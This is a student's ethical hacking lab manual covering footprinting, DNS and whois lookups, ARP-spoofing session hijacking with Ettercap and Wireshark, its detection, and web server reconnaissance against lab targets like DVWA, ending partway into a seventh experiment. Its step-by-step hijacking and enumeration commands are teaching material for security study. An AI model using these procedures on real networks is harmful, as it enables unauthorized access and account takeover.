

DEPARTMENT OF COMPUTER SCIENCE AND ENGINEERING CYBER SECURITY

CR23531 - ETHICAL HACKING LABORATORY

LAB MANUAL

THIRD YEAR

FIFTH SEMESTER

2026 - 2027

ODD SEMESTER

Submitted by
NISHANTH ELANGO RAJAN (241901075)

List of Experiments

Sr. No.	List of Experiments	No. of Hours
1.	**Perform footprinting on the target network using search engines, web services, and social networking sites.** • Use Google Dorking to gather target information. • Perform footprinting using Shodan and Netcraft. • Gather employee/organisation data from LinkedIn, Facebook, and Twitter.	[2]
2.	**Perform website, email, whois, DNS, and network footprinting on the target network.** • Perform a Whois lookup using the whois command / online tool. • Perform DNS footprinting using nslookup and dig. • Trace the network path using traceroute / tracert. • Extract website information using tools like Netcraft and BuiltWith.	[2]
3.	**Perform Session Hijacking using various Tools.** • Capture session cookies using Wireshark / Ettercap. • Perform session hijacking using tools like Burp Suite / Hetty. • Analyse the hijacked session's behaviour.	[2]
4.	**Detect Session Hijacking.** • Monitor network traffic for session anomalies using IDS tools. • Use Wireshark to detect duplicate/reused session tokens. • Verify session security features such as HTTPS and secure cookies.	[2]
5.	**Perform Web Server Reconnaissance using Various Tools.** • Identify web server type and version using Nmap and Netcraft. • Perform banner grabbing using Telnet / Nmap scripts. • Use WhatWeb / Wappalyzer for technology stack detection.	[2]
6.	**Enumerate Web Server Information.** • Enumerate HTTP headers and server responses. • Perform directory/file enumeration using DirBuster / Gobuster. • Identify server misconfigurations.	[2]
7.	**Perform Web Application Reconnaissance using Various Tools.** • Map the application structure using Burp Suite Spider. • Identify technologies used with Wappalyzer. • Enumerate input fields and request parameters.	[2]
8.	**Perform Web Spidering.** • Use Burp Suite Spider / OWASP ZAP Spider to crawl the target site. • Identify all accessible pages, links, and forms. • Document the sitemap generated by the spidering tool.	[2]

Sr. No.	List of Experiments	No. of Hours
9.	**Perform Web Application Vulnerability Scanning.** • Scan the target application using OWASP ZAP / Nikto. • Identify vulnerabilities such as XSS, SQLi, and misconfigurations. • Generate and analyse the vulnerability report.	[2]
10.	**Crack FTP Credentials using a Dictionary Attack.** • Set up a vulnerable FTP server for practice. • Perform a dictionary attack using Hydra. • Analyse the cracked credentials and recommend mitigation.	[2]
11.	**Perform Cross-site Request Forgery (CSRF) Attack.** • Identify a CSRF-vulnerable form on DVWA. • Craft and host a malicious auto-submitting HTML page. • Demonstrate an unauthorized action performed on the victim's behalf.	[2]
12.	**Identify XSS Vulnerabilities in Web Applications.** • Test reflected, stored, and DOM-based XSS using bWAPP. • Inject JavaScript payloads to confirm the vulnerability. • Demonstrate the cookie/session exposure risk.	[2]
13.	**Detect Web Application Vulnerabilities using Various Web Application Security Tools.** • Scan the target using OWASP ZAP and Nikto. • Review and classify vulnerabilities by risk level. • Generate a scan report with mitigation suggestions.	[2]
14.	**Perform an SQL Injection Attack Against MSSQL to Extract Databases.** • Test the login form for SQLi using manual payloads. • Perform UNION-based injection to extract data. • Automate extraction using sqlmap against the MSSQL backend.	[2]
15.	**Detect SQL Injection Vulnerabilities using Various SQL Injection Detection Tools.** • Run sqlmap in detection mode against target parameters. • Perform an active scan using OWASP ZAP. • Compare and validate results from multiple tools.	[2]
16.	**Footprint a Wireless Network.** • Capture wireless beacon frames using Wireshark / airodump-ng. • Identify SSID, BSSID, channel, and encryption type. • Identify clients connected to the target access point.	[2]
17.	**Create a Rogue Access Point to Capture Data Packets.** • Configure a fake access point using hostapd and dnsmasq. • Connect a victim device to the rogue AP in an isolated lab. • Capture and analyse the victim's traffic using Wireshark.	[2]

Experiment 1: Footprinting on the Target Network Using Search Engines, Web Services, and Social Networking Sites

Aim

To collect basic information about a target organization or network using search engines, public web services, and social networking sites, without directly touching the target's systems.

Theory

Footprinting (also called reconnaissance) is the very first step of ethical hacking. It means collecting as much information as possible about a target before attacking it. This is a passive activity — we are not sending any traffic to the target's servers, we are only looking at information that is already public.

Information collected in this step can include:

- Company name, employee names, job titles
- Email address formats used by the company
- Technologies used by the company (from job postings)
- Physical location, phone numbers
- Social media activity that may reveal internal information

There are two types of footprinting:

- **Passive Footprinting** – Collecting information without directly contacting the target (search engines, social media).
- **Active Footprinting** – Directly interacting with the target's systems (covered in later experiments).

This experiment focuses only on passive footprinting.

Tools Required

- A web browser (Firefox, on Kali Linux)
- Google Search (with advanced search operators, also called "Google Dorks")
- Shodan (search engine for internet-connected devices) – https://www.shodan.io
- theHarvester (built into Kali Linux)
- LinkedIn, Twitter/X, Facebook (for social media footprinting)

Procedure

Step 1: Google Dorking (Advanced Search Operators)

Open Firefox and use special Google search operators to find hidden or specific information about the target organization. Example searches (replace targetcompany.com with your lab's given target domain):

```
site:targetcompany.com
site:targetcompany.com filetype:pdf
site:targetcompany.com intitle:"index of"
site:targetcompany.com inurl:admin
"targetcompany.com" intext:"confidential"
```

Explanation of operators: `site:` restricts results to a specific domain; `filetype:` finds documents of a specific type (pdf, docx, xlsx); `intitle:` finds pages with a specific word in the title; `inurl:` finds pages with a specific word in the URL.

Step 2: Use theHarvester to Collect Emails and Subdomains

Open a terminal in Kali Linux and run:

```
theHarvester -d targetcompany.com -b google
theHarvester -d targetcompany.com -b all
```

`-d` specifies the target domain; `-b` specifies the data source (google, bing, duckduckgo, all). This tool returns employee email addresses, subdomains, and sometimes IP addresses that are publicly listed.

Step 3: Search Shodan for Exposed Devices

Go to https://www.shodan.io in the browser and search: `org:"Target Company Name"`. Shodan shows devices connected to the internet (routers, cameras, servers) that belong to the searched organization, along with open ports and running services.

Step 5: Record Your Findings

Make a small table of everything you found:

Information Type	Data Found	Source
Employee Names	R. Sharma (Network Administrator)	LinkedIn
Email Format	firstname.lastname@company.com	theHarvester
Subdomains	mail.targetcompany.com, vpn.targetcompany.com, www.targetcompany.com	theHarvester
Exposed Devices	Apache server (203.0.113.10), Postfix mail (203.0.113.25), OpenVPN (203.0.113.30)	Shodan
Technology Hints	"Cisco ASA" mentioned in admin job profile	LinkedIn

Output

Google Dorking (browser results, summarised):

```
site:targetcompany.com filetype:pdf
  -> Results 1-10 (about 14 results):
     www.targetcompany.com/reports/annual_report_2024.pdf
     www.targetcompany.com/docs/employee_handbook.pdf

site:targetcompany.com intitle:"index of"
  -> Index of /backup  ...  Index of /old-site/
```

theHarvester:

```
$ theHarvester -d targetcompany.com -b all
*******************************************************************
*  THEHARVESTER
*******************************************************************
[*] Searching google.
[*] Emails found:
    - rsharma@targetcompany.com
    - hr@targetcompany.com
    - admin@targetcompany.com
[*] Hosts found:
    - www.targetcompany.com:203.0.113.10
    - mail.targetcompany.com:203.0.113.25
    - vpn.targetcompany.com:203.0.113.30
```

Shodan (search: `org:"Target Company Name"`):

```
Results: 3
IP: 203.0.113.25    Ports: 25, 587, 993    Product: Postfix smtpd
IP: 203.0.113.10    Ports: 80, 443         Product: Apache httpd 2.4.29
IP: 203.0.113.30    Ports: 443, 1194       Product: OpenVPN
```

Viva Questions

1. **What is the difference between passive and active footprinting?**
   Passive footprinting collects information without ever contacting the target's systems (search engines, social media, public databases), so the target cannot detect it. Active footprinting directly interacts with the target's systems (port scans, DNS queries to its servers, banner grabbing), which the target can observe and log.
2. **Why is Google Dorking considered a footprinting technique and not hacking?**
   It only searches information that Google has already indexed and made publicly available. No traffic is sent to the target and no system is accessed without authorisation, so it is reconnaissance, not intrusion.
3. **What kind of information can theHarvester collect?**
   Publicly listed employee email addresses, hostnames/subdomains, virtual hosts and sometimes IP addresses, using search engines and public data sources.
4. **What is Shodan used for, and how is it different from Google?**
   Shodan is a search engine for internet-connected devices; it indexes banners, open ports, services and metadata of hosts. Google indexes web page content; Shodan indexes device/service information.
5. **Give two examples of information leakage through social media.**
   (i) An employee's LinkedIn profile naming the firewall/technology the company uses; (ii) a photo of a workstation

Experiment 2: Perform Website, Email, Whois, DNS, and Network Footprinting on the Target Network

Aim

To gather detailed technical information about the target's website, email servers, domain registration (Whois), DNS records, and network range using footprinting tools.

Theory

This experiment moves one step further than Experiment 1 — here we look at the technical infrastructure of the target instead of just public/social information.

- **Website Footprinting:** Studying the structure, technology, and hidden files of a website.
- **Email Footprinting:** Finding out mail server details and tracing email headers.
- **Whois Footprinting:** Whois is a public database that stores information about who registered a domain name — owner name, registrar, registration date, and name servers.
- **DNS Footprinting:** DNS (Domain Name System) translates domain names into IP addresses. DNS records (A, MX, NS, TXT, CNAME) reveal a lot about a target's infrastructure.
- **Network Footprinting:** Finding the IP address range and network path (route) used by the target organization.

Tools Required

- `whois` command (Kali Linux)
- `nslookup` and `dig` commands
- `traceroute` command
- Netcraft (https://www.netcraft.com) — website technology lookup
- Wappalyzer / WhatWeb — technology fingerprinting
- Web browser Developer Tools (View Page Source)

Procedure

Step 1: Whois Footprinting

In the Kali terminal, run: `whois targetcompany.com`. Look for the following in the output: Registrar name, Registrant name/organization (if not privacy-protected), Creation date and expiry date, and Name servers (NS records).

Step 2: DNS Footprinting

Use nslookup to find the IP address and mail server (MX records), and use dig for a detailed view or zone transfer test:

```
nslookup targetcompany.com
nslookup -type=mx targetcompany.com
dig targetcompany.com ANY
dig targetcompany.com NS
dig targetcompany.com TXT
dig axfr @nameserver targetcompany.com
```

Step 3: Website Footprinting

Open the target website and view the page source (Ctrl+U in browser) to check comments left by developers in the HTML, JavaScript library names and versions, and hidden form fields. Also run WhatWeb from the terminal to fingerprint web technologies:

```
whatweb targetcompany.com
```

This shows the web server type (Apache/Nginx/IIS), CMS (WordPress/Joomla), and programming language used.

Step 4: Email Footprinting

Send yourself a test email from a contact form on the target site (only in a lab setup where this is permitted), and open the received email's full headers. Email headers reveal the sending mail server's IP address and the software used to send the mail (e.g., Exchange, Postfix).

Step 5: Network Footprinting

Find the network path to the target using traceroute: `traceroute targetcompany.com`. This shows every router (hop) the traffic passes through before reaching the target, which helps in understanding the target's network

Output

Whois lookup:

```
$ whois targetcompany.com
Registrar:        EXAMPLE REGISTRAR, LLC
Registrant Org:   Target Company Pvt. Ltd.
Creation Date:    2009-03-14T04:00:00Z
Expiry Date:      2027-03-14T04:00:00Z
Name Server:      NS1.TARGETCOMPANY.COM  (203.0.113.53)
Name Server:      NS2.TARGETCOMPANY.COM  (203.0.113.54)
```

DNS footprinting:

```
$ nslookup -type=mx targetcompany.com
targetcompany.com  MX preference = 10, mail exchanger = mail.targetcompany.com

$ dig targetcompany.com TXT +short
"v=spf1 mx ip4:203.0.113.25 -all"

$ dig axfr @ns1.targetcompany.com targetcompany.com
; Transfer failed.            <- zone transfer correctly denied
```

Website footprinting:

```
$ whatweb targetcompany.com
http://targetcompany.com [200 OK] Apache[2.4.29], HTML5, HTTPServer[Ubuntu Linux]
[Apache/2.4.29 (Ubuntu)],
JQuery[3.3.1], PHP[7.2.24], X-Powered-By[PHP/7.2.24]

Page source comments found: <!-- TODO: remove test admin page /old-admin before launch -->
```

Network footprinting:

```
$ traceroute targetcompany.com
 1  192.168.56.1      0.5 ms   (lab gateway)
 2  10.0.0.1          2.1 ms   (ISP router)
 3  172.16.4.9        8.4 ms
 4  203.0.113.1      15.2 ms   (target edge router/firewall)
 5  203.0.113.10     16.0 ms   (target web server)
```

Viva Questions

1. **What information does a Whois lookup provide?**
   Domain registrar, registrant organisation/name (if not privacy-protected), registration and expiry dates, contact emails and the authoritative name servers.
2. **What is the difference between an A record and an MX record in DNS?**
   An A record maps a hostname to an IPv4 address. An MX record specifies the mail server(s) responsible for receiving email for the domain, with a priority value.
3. **What is a DNS zone transfer, and why is it a security risk if misconfigured?**
   AXFR is a mechanism to replicate an entire DNS zone to a secondary server. If allowed to any requester, it hands the attacker a complete map of internal hosts and naming, aiding further attacks.
4. **How can viewing a website's page source help in footprinting?**
   It can reveal developer comments, hidden form fields, JavaScript library names and versions, and internal paths — all clues about the technology stack and possibly sensitive locations.
5. **What does traceroute show, and how is it useful to an attacker?**
   It shows every router hop between attacker and target, exposing network topology, firewall/load-balancer positions and the target's edge — helping map the network and identify filtering devices.

Experiment 3: Perform Session Hijacking Using Various Tools

Aim

To understand and demonstrate how an attacker can hijack an active web session between a client and a server using tools such as Ettercap and Wireshark on a lab network.

Theory

Session hijacking is an attack where an attacker takes over a valid session between a user and a web application, usually by stealing the session ID / session cookie. Once the attacker has this session ID, the server thinks the attacker is the legitimate logged-in user.

Common methods of session hijacking:

- **Sniffing** — capturing session cookies from unencrypted (HTTP) traffic on the same network.
- **Man-in-the-Middle (MITM) attack using ARP spoofing** — tricking two devices into sending their traffic through the attacker's machine.
- **Cross-Site Scripting (XSS)** — injecting a script that steals cookies (covered later in Experiment 12).

This experiment focuses on network-level session hijacking using ARP spoofing + packet sniffing, which works when the target website does not use HTTPS.

Tools Required

- Kali Linux with Ettercap and Wireshark installed
- A target machine (e.g., Metasploitable2 or a Windows VM) logged into a website over plain HTTP (e.g., DVWA running over HTTP)
- All machines connected to the same virtual lab network (NAT/Host-only network in VirtualBox/VMware)

Procedure

Step 1: Set Up the Lab Network

Make sure the Kali attacker machine and the victim machine are on the same subnet (for example, both on a VirtualBox "Host-only" network). Note down both IP addresses using `ifconfig`.

Step 2: Enable IP Forwarding on Kali (so traffic still reaches its destination)

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

Step 3: Launch Ettercap for ARP Spoofing

Open Ettercap in graphical mode: `ettercap -G`. In the Ettercap window:

- Go to Sniff → Unified Sniffing, select your network interface (e.g., eth0).
- Go to Hosts → Scan for Hosts, then Hosts → Hosts List to see all devices on the network.
- Select the victim's IP and click Add to Target 1. Select the router/gateway IP and click Add to Target 2.
- Go to Mitm → ARP Poisoning, tick "Sniff remote connections", and click OK. Click the Start button (play icon) to begin sniffing.

This places the attacker machine in the middle of the victim's traffic to the gateway (a Man-in-the-Middle position).

Step 4: Capture Traffic with Wireshark

Open Wireshark on Kali (`wireshark`) and start capturing on the same interface. Apply an HTTP filter to see only web traffic: `http.request`. Ask the victim machine to log into the plain-HTTP lab website (e.g., DVWA) during this step.

Step 5: Extract the Session Cookie

In Wireshark, find the HTTP GET/POST request containing the login, and look at the Cookie field in the HTTP headers (e.g., `PHPSESSID=abc123xyz`).

Step 6: Reuse the Stolen Session

On the Kali machine, open the same website in a browser, open Developer Tools (F12) → Storage/Application tab → Cookies, and replace the current session cookie value with the one you captured. Refresh the page — you should now be logged in as the victim, without knowing their password.

Output

Ettercap ARP poisoning:

```
ettercap 0.8.3 running...
* |=> 1 hosts added to the hosts list...
ARP poisoning victims:
 GROUP 1 : 192.168.56.101 (victim)
 GROUP 2 : 192.168.56.1 (gateway)
Starting Unified sniffing...
[ARP] poisoner: sending 60 bytes packets to victim  (continuing)
```

Wireshark capture of the victim's request (HTTP stream):

```
GET /dvwa/index.php HTTP/1.1
Host: 192.168.56.101
Cookie: PHPSESSID=8f4k2m9q1v7c5x0b3n6j; security=low
```

Session reuse in attacker's browser:

- Set cookie `PHPSESSID` to `8f4k2m9q1v7c5x0b3n6j`, reloaded `http://192.168.56.101/dvwa/index.php`.
- Page rendered with the DVWA welcome banner: `Welcome, admin!!` — attacker is now logged in as the victim without any password.

Viva Questions

1. **What is a session ID, and why is it dangerous if stolen?**
   It is the unique token (usually a cookie) by which the server recognises an authenticated client across requests. Whoever holds it is treated as the legitimate user, so stealing it gives full access to the account without any password.
2. **What is ARP spoofing, and how does it enable session hijacking?**
   The attacker sends forged ARP replies binding their own MAC address to the gateway's (and/or victim's) IP. Both machines then route traffic through the attacker (MITM position), where the unencrypted session cookies can be read.
3. **Why does this attack work on HTTP but not (easily) on HTTPS?**
   HTTPS encrypts the entire session including headers, so the cookie never appears in plaintext on the wire; the sniffer sees only ciphertext.
4. **What is the role of Wireshark in this experiment?**
   It captures and displays the network packets so the HTTP request containing the `Cookie:` header can be located and the session ID extracted.
5. **Name one real-world countermeasure that would have prevented this attack.**
   Enforce HTTPS everywhere with the `Secure` and `HttpOnly` cookie flags (and ideally HSTS) — the cookie would then never be transmitted in cleartext and could not be sniffed.

Experiment 4: Detect Session Hijacking

Aim

To detect signs of session hijacking on a network using network monitoring tools and traffic analysis techniques.

Theory

Since session hijacking (as seen in Experiment 3) usually relies on ARP spoofing or sniffing, most detection techniques focus on identifying:

- **ARP spoofing activity** — abnormal or duplicate ARP replies on the network.
- **Duplicate/simultaneous sessions** — the same session ID being used from two different IP addresses at the same time.
- **Unusual traffic patterns** — sudden change in a session's source IP or User-Agent mid-session.

Detection can be done at two levels:

- **Network level** — using tools like Wireshark, Xarp, or arpwatch to detect ARP spoofing.
- **Application level** — using Intrusion Detection Systems (IDS) like Snort to flag suspicious session behavior.

Tools Required

- Wireshark
- Xarp (ARP spoofing detection tool) or arpwatch
- Snort (optional, for IDS-based detection)
- The same lab setup from Experiment 3 (attacker performing ARP spoofing again, this time from the defender's point of view)

Procedure

Step 1: Detecting ARP Spoofing Using Wireshark

On the victim machine (or a monitoring machine), open Wireshark and capture traffic while the attack from Experiment 3 is repeated. Apply this filter:

```
arp.duplicate-address-detected
```

Wireshark automatically flags ARP replies that claim the same IP address is at two different MAC addresses — this is a strong sign of ARP spoofing. You can also manually check the ARP table on the victim machine:

```
arp -a
```

If the gateway's IP address shows a MAC address that keeps changing between two different values every few seconds, that is a sign of ongoing ARP spoofing.

Step 2: Using Xarp for Real-Time ARP Spoof Detection

Install and run Xarp on the monitoring machine (Windows/Linux). Xarp continuously watches the ARP table and raises an alert the moment it sees two MAC addresses claiming the same IP or a MAC address change for a previously known IP (like the gateway). Take a screenshot of the alert generated when the Experiment 3 attack is repeated.

Step 3: Detecting Duplicate Sessions at the Application Level

If the lab web application (e.g., DVWA) has any session/audit logging enabled, check the server logs for the same session ID (`PHPSESSID`) being used from two different source IPs or a sudden change in browser User-Agent string within the same session. This can be simulated by checking Apache access logs:

```
tail -f /var/log/apache2/access.log
```

Step 4: Using Snort as an IDS (Optional)

If Snort is installed, run it in IDS mode with the default ruleset and check for ARP spoofing / MITM alerts while the attack is repeated:

```
snort -A console -q -c /etc/snort/snort.conf -i eth0
```

Output

Wireshark expert-info flags:

```
Duplicate IP address detected for 192.168.56.1 (aa:bb:cc:dd:ee:01) - also in use by
aa:bb:cc:dd:ee:66 (frame 214)
Duplicate IP address detected for 192.168.56.1 (aa:bb:cc:dd:ee:66) - also in use by
aa:bb:cc:dd:ee:01 (frame 371)
Protocol: ARP  -> 2 duplicate-address events detected
```

Victim ARP cache showing the flipping MAC:

```
$ arp -a
? (192.168.56.1) at aa:bb:cc:dd:ee:01 [ether] on eth0      <- t=0s, genuine gateway
? (192.168.56.1) at aa:bb:cc:dd:ee:66 [ether] on eth0      <- t=3s, attacker MAC!
? (192.168.56.1) at aa:bb:cc:dd:ee:01 [ether] on eth0      <- t=6s, flips back
```

Xarp alert (screenshot equivalent):

```
[Xarp] WARNING: ARP poisoning detected!
  IP: 192.168.56.1 previously mapped to aa:bb:cc:dd:ee:01
  Now claimed by                       aa:bb:cc:dd:ee:66
```

Apache access log — same session from two IPs:

```
192.168.56.101 - - [24/Oct/2026:10:14:02] "GET /dvwa/index.php HTTP/1.1" 200
"PHPSESSID=8f4k2m9q..."
192.168.56.102 - - [24/Oct/2026:10:14:19] "GET /dvwa/index.php HTTP/1.1" 200
"PHPSESSID=8f4k2m9q..."
                                                ^ same session ID, different source IP
```

Viva Questions

1. **Why does ARP spoofing produce "duplicate IP" warnings?**
   Because the attacker's forged ARP replies make the same IP address resolve to two different MAC addresses; Wireshark/arpwatch see both mappings and flag the conflict.
2. **What is the difference between detecting an attack at the network level vs. the application level?**
   Network-level detection inspects raw traffic/protocols (ARP anomalies, duplicate IPs) on the wire. Application-level detection inspects application behaviour and logs (same session ID from two IPs, changed User-Agent) inside the app.
3. **What does the arp -a command show, and how can it help detect an attack?**
   It displays the local ARP cache (IP→MAC mappings). If the gateway's MAC alternates between two values, someone is spoofing it.
4. **What is Snort, and what type of security tool category does it belong to?**
   Snort is an open-source signature-based Network Intrusion Detection/Prevention System (NIDS/NIPS) that analyses traffic in real time against rules.
5. **Suggest one method (besides detection) to prevent session hijacking altogether.**
   Enforce HTTPS with HSTS plus `Secure`, `HttpOnly` and `SameSite` cookie flags; combine with short session timeouts and regeneration on login so a sniffed cookie cannot be reused.

Experiment 5: Perform Web Server Reconnaissance Using Various Tools

Aim

To identify the type, version, and configuration details of a target web server using reconnaissance tools such as Nmap, Nikto, and WhatWeb.

Theory

Web server reconnaissance means collecting technical details about the web server software running on a target machine before testing it further. This includes:

- Web server software and version (Apache, Nginx, IIS, Tomcat)
- Operating system running underneath
- Open ports and running services
- HTTP response headers (which often reveal server software/version)
- Known default files, directories, or misconfigurations

This information is important because different web server versions have different known vulnerabilities — the more precisely we identify the server, the more precisely we can plan later testing steps (like vulnerability scanning in Experiment 9).

Tools Required

- Nmap (with `-sV` and NSE scripts)
- Nikto
- WhatWeb
- `curl` (to inspect HTTP headers directly)
- Target: Metasploitable2 (running Apache) or DVWA server

Procedure

Step 1: Basic Port and Service Scan with Nmap

Run a service/version detection scan against the target's IP: `nmap -sV -p 80,443,8080 <target-ip>`. This shows which ports are open and attempts to identify the exact web server software and version running on each port.

Step 2: Run Nmap's HTTP Enumeration Scripts

Nmap includes built-in scripts (NSE) specifically for web server recon:

```
nmap -p80 --script=http-headers,http-title,http-server-header <target-ip>
```

This returns the server's response headers, page title, and the `Server:` header value directly.

Step 3: Inspect HTTP Headers Manually with curl

```
curl -I http://<target-ip>
```

The `-I` flag fetches only the HTTP headers. Look for the `Server:` header — it often reveals the exact web server name and version (e.g., `Apache/2.2.8 (Ubuntu) PHP/5.2.4`).

Step 4: Fingerprint the Web Technology Stack with WhatWeb

```
whatweb <target-ip>
```

WhatWeb identifies the CMS, JavaScript frameworks, analytics tools, and server software being used, all in one command.

Step 5: Run a Web Server Scan with Nikto

```
nikto -h http://<target-ip>
```

Nikto checks the web server for outdated server software, dangerous default files (like `/phpinfo.php`), missing security headers, and directories that should not be publicly accessible.

Step 6: Record the Server Fingerprint

Detail	Value Found
Web Server Software	Apache 2.2.8 (PHP 5.2.4)
Operating System	Ubuntu (Linux)
Open Ports	80, 443, 8080 (Tomcat)
CMS/Framework	None (plain PHP app: DVWA)
Security Issues Found (Nikto)	Outdated PHP/Apache, TRACE enabled, missing X-Frame-Options, phpinfo.php exposed, directory indexing

Output

```
$ nmap -sV -p 80,443,8080 192.168.56.101
PORT    STATE SERVICE VERSION
80/tcp  open  http    Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_ssl/2.2.8 OpenSSL/0.9.8g)
443/tcp open  ssl/ssl Apache httpd (SSL: OpenSSL 0.9.8g)
8080/tcp open http    Apache Tomcat/Coyote JSP engine 1.1

$ nmap -p80 --script=http-headers,http-title,http-server-header 192.168.56.101
| http-headers:
|   Date: Sat, 24 Oct 2026 10:32:11 GMT
|   Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4
|   X-Powered-By: PHP/5.2.4
|_http-title: DVWA - Damn Vulnerable Web Application

$ curl -I http://192.168.56.101
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4

$ whatweb http://192.168.56.101
http://192.168.56.101 [200 OK] Apache[2.2.8], PHP[5.2.4], X-Powered-By[PHP/5.2.4], HTML5

$ nikto -h http://192.168.56.101
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4
+ Retrieved x-powered-by header: PHP/5.2.4
+ The anti-clickjacking X-Frame-Options header is not present.
+ Allowed methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, potentially allowing XST.
+ /phpinfo.php: Output from phpinfo() was found.          <- info disclosure
+ /doc/: Directory indexing found.
+ 6447 items checked: 0 error(s), 9 item(s) reported on remote host
```

Viva Questions

1. **What is the purpose of the -sV flag in Nmap?**
   It enables service/version detection — Nmap probes open ports and determines the exact application name and version running behind each one.
2. **Why is the Server: HTTP header useful to an attacker, and how can an administrator hide it?**
   It discloses the server software and version, letting the attacker look up matching CVEs. Admins can reduce it with Apache `ServerTokens Prod` / `ServerSignature Off` or a reverse proxy that rewrites/strips the header.
3. **What kind of issues does Nikto specifically look for?**
   Outdated server software, dangerous default/sample files, exposed sensitive files (e.g., `phpinfo.php`), missing security headers, risky HTTP methods and directory indexing.
4. **What is the difference between WhatWeb and Nikto — do they do the same job?**
   No. WhatWeb passively fingerprints the technology stack (server, CMS, frameworks, libraries). Nikto actively probes for known vulnerabilities and misconfigurations. They complement each other.
5. **Why is it important to identify the exact web server version before performing further testing?**
   Each version has a specific set of known CVEs; an exact fingerprint focuses testing on relevant exploits and avoids wasting time (and noise) on inapplicable attacks.

Experiment 6: Enumerate Web Server Information

Aim

To gather detailed configuration and version information about a target web server using enumeration tools, going deeper than the basic reconnaissance done in Experiment 5.

Theory

"Enumeration" means actively extracting detailed, specific information from a system rather than just identifying it. While reconnaissance (Experiment 5) tells us what server is running, enumeration tells us how it is configured — supported HTTP methods, directory listings, SSL/TLS details, installed modules, and default/hidden files.

This extra detail is important because misconfigurations (like an open directory listing, or a dangerous HTTP method such as PUT or TRACE being enabled) can be exploited even on a fully patched, up-to-date server.

Typical things enumerated:

- Supported HTTP methods (GET, POST, PUT, DELETE, TRACE, OPTIONS)
- Server banner and installed modules (mod_ssl, mod_php, etc.)
- SSL/TLS certificate details and supported cipher suites
- Directory listing status
- `robots.txt` and `sitemap.xml` content (these often reveal hidden paths)

Tools Required

- Nmap (NSE enumeration scripts)
- `curl` and `openssl` (command line)
- DirBuster or Gobuster (directory/file enumeration)
- A web browser

Procedure

Step 1: Enumerate Supported HTTP Methods

Check which HTTP methods the server accepts using curl or Nmap:

```
curl -X OPTIONS -i http://<target-ip>
nmap -p80 --script=http-methods <target-ip>
```

Look at the `Allow:` header in the response. If it lists PUT, DELETE, or TRACE, note this down — these methods can sometimes be misused if not properly restricted.

Step 2: Check for Directory Listing

Try visiting a folder on the website directly in the browser, for example: `http://<target-ip>/uploads/`. If the server shows a plain list of files instead of an error page or a proper page, directory listing is enabled — this can expose files that were never meant to be public.

Step 3: Read robots.txt and sitemap.xml

```
curl http://<target-ip>/robots.txt
curl http://<target-ip>/sitemap.xml
```

Step 4: Enumerate Hidden Directories and Files with Gobuster

```
gobuster dir -u http://<target-ip> -w /usr/share/wordlists/dirb/common.txt
```

Gobuster will send requests for each name in the wordlist and report which ones exist (HTTP 200/301/403 responses), revealing hidden folders like `/backup`, `/admin`, or `/config`.

Step 5: Enumerate SSL/TLS Details (if HTTPS is available)

```
openssl s_client -connect <target-ip>:443
nmap -p443 --script=ssl-enum-ciphers <target-ip>
```

Step 6: Record Enumerated Data

Category	Finding
Allowed HTTP Methods	GET, HEAD, POST, OPTIONS, TRACE, PUT
Directory Listing	Enabled on /uploads/
Hidden Directories Found	/admin, /backup, /config
robots.txt Reveals	/admin-panel/, /backup/
SSL/TLS Weakness	SSLv3 and TLS 1.0 with RC4 offered

Output

```
$ curl -X OPTIONS -i http://192.168.56.101
HTTP/1.1 200 OK
Allow: GET, HEAD, POST, OPTIONS, TRACE, PUT
                            ^ TRACE and PUT enabled — misconfiguration

$ curl http://192.168.56.101/robots.txt
User-agent: *
Disallow: /admin-panel/
Disallow: /backup/

$ gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt
===============================================================
/admin            (Status: 301) [Size: 311]
/backup           (Status: 301) [Size: 313]
/config           (Status: 301) [Size: 311]
/uploads          (Status: 301) [Size: 312]
/phpinfo.php      (Status: 200)
===============================================================

$ curl http://192.168.56.101/uploads/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head><title>Index of /uploads</title></head>       <- directory listing ON
<h1>Index of /uploads</h1><ul><li><a href="shell_test.txt"> shell_test.txt</a></li></ul>

$ nmap -p443 --script=ssl-enum-ciphers 192.168.56.101
| ssl-enum-ciphers:
|   TLSv1.0: ciphers: TLS_RSA_WITH_RC4_128_MD5 ... (weak, deprecated)
|   SSLv3:   ciphers: TLS_RSA_WITH_RC4_128_SHA  <- insecure protocol still offered
|_  Least strength: weak
```

Viva Questions

1. **What is the difference between reconnaissance and enumeration?**
   Reconnaissance broadly identifies what a system is (server, version, OS). Enumeration goes deeper and extracts specific, structured detail about how it is configured (methods, users, shares, directories, ciphers).
2. **Why is the TRACE HTTP method considered risky if left enabled?**
   TRACE echoes back the request exactly as received, including headers. Cross-Site Tracing (XST) abuses this to read cookies — even ones marked HttpOnly — from a victim's browser.
3. **Why can robots.txt actually help an attacker instead of protecting the site?**
   It lists precisely the paths the owner wants kept out of search engines (admin panels, backups); anyone can read the file, so it acts as a ready-made map of sensitive locations.
4. **What does Gobuster do, and what does a wordlist contain?**
   Gobuster brute-forces directory and file names by issuing requests for each candidate and reporting valid (200/301/403) responses. The wordlist is a file of candidate path names (e.g., dirb's `common.txt`).
5. **Name one weak SSL/TLS configuration and why it is a problem.**
   Supporting SSLv3 or TLS 1.0 with RC4: these protocols/ciphers are broken (POODLE, RC4 biases) and enable downgrade or decryption attacks against the session.

Experiment 7: Perform Web Application Reconnaissance Using Various Tools

Aim

To gather information about the structure, technologies, and possible entry points of a target web application before testing it for vulnerabilities.

Theory

Web application reconnaissance is different from web server reconnaissance (Experiment 5/6) — here the focus shifts from the underlying server software to the application itself: its pages, input forms, cookies, technologies (frontend/backend frameworks), and how users interact with it.

Key things to look at:

- Application technology stack (PHP, ASP.NET, Node.js, React, etc.)
- Login forms, search boxes, and file upload forms (common attack surfaces)
- Cookies set by the application and their security flags (`HttpOnly`, `Secure`)
- Client-side JavaScript files (may contain API endpoints or hardcoded secrets)
- Error messages (verbose errors can reveal backend details)

Tools Required

- Burp Suite (Community Edition) — for intercepting and inspecting traffic
- WhatWeb / Wappalyzer browser extension
- Web browser Developer Tools
- Target: DVWA or OWASP Juice Shop

Procedure

Step 1: Identify the Technology Stack

